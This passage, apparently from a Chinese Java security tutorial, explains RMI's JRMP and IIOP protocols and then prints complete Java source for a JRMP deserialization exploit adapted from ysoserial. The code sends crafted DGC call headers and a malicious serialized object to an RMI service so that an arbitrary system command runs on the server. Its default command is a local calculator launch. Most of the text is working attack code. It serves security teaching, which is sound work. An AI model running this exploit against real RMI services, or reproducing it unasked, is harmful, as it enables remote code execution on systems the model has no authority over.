RMP接口的两种常见实现方式:

    1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议
    2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

    由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

    我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

    JRMP客户端反序列化攻击示例代码:

    1. package com.anbai.sec.rmi;
    2. import sun.rmi.server.MarshalOutputStream;
    3. import sun.rmi.transport.TransportConstants;
    4. import java.io.DataOutputStream;
    5. import java.io.IOException;
    6. import java.io.ObjectOutputStream;
    7. import java.io.OutputStream;
    8. import java.net.Socket;
    9. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
    10. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
    11. /**
    12. * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
    13. * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
    14. */
    15. public class JRMPExploit {
    16. public static void main(String[] args) throws IOException {
    17. if (args.length == 0) {
    18. // 如果不指定连接参数默认连接本地RMI服务
    19. args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
    20. }
    21. // 远程RMI服务IP
    22. final String host = args[0];
    23. // 远程RMI服务端口
    24. final int port = Integer.parseInt(args[1]);
    25. // 需要执行的系统命令
    26. final String command = args[2];
    27. // Socket连接对象
    28. Socket socket = null;
    29. // Socket输出流
    30. OutputStream out = null;
    31. try {
    32. // 创建恶意的Payload对象
    33. Object payloadObject = RMIExploit.genPayload(command);
    34. // 建立和远程RMI服务的Socket连接
    35. socket = new Socket(host, port);
    36. socket.setKeepAlive(true);
    37. socket.setTcpNoDelay(true);
    38. // 获取Socket的输出流对象
    39. out = socket.getOutputStream();
    40. // 将Socket的输出流转换成DataOutputStream对象
    41. DataOutputStream dos = new DataOutputStream(out);
    42. // 创建MarshalOutputStream对象
    43. ObjectOutputStream baos = new MarshalOutputStream(dos);
    44. // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
    45. dos.writeInt(TransportConstants.Magic);// 魔数
    46. dos.writeShort(TransportConstants.Version);// 版本
    47. dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
    48. dos.write(TransportConstants.Call);// RMI调用指令
    49. baos.writeLong(2); // DGC
    50. baos.writeInt(0);
    51. baos.writeLong(0);
    52. baos.writeShort(0);
    53. baos.writeInt(1); // dirty
    54. baos.writeLong(-669196253586618813L);// 接口Hash值
    55. // 写入恶意的序列化对象
    56. baos.writeObject(payloadObject);
    57. dos.flush();
    58. } catch (Exception e) {
    59. e.printStackTrace();
    60. } finally {
    61. // 关闭Socket输出流
    62. if (out != null) {
    63. out.close();
    64. }
    65. // 关闭Socket连接
    66. if (socket != null) {
    67. socket.close();
    68. }
    69. }
    70. }
    71. }

    测试流程同上面的RMIExploit,这里不再赘述。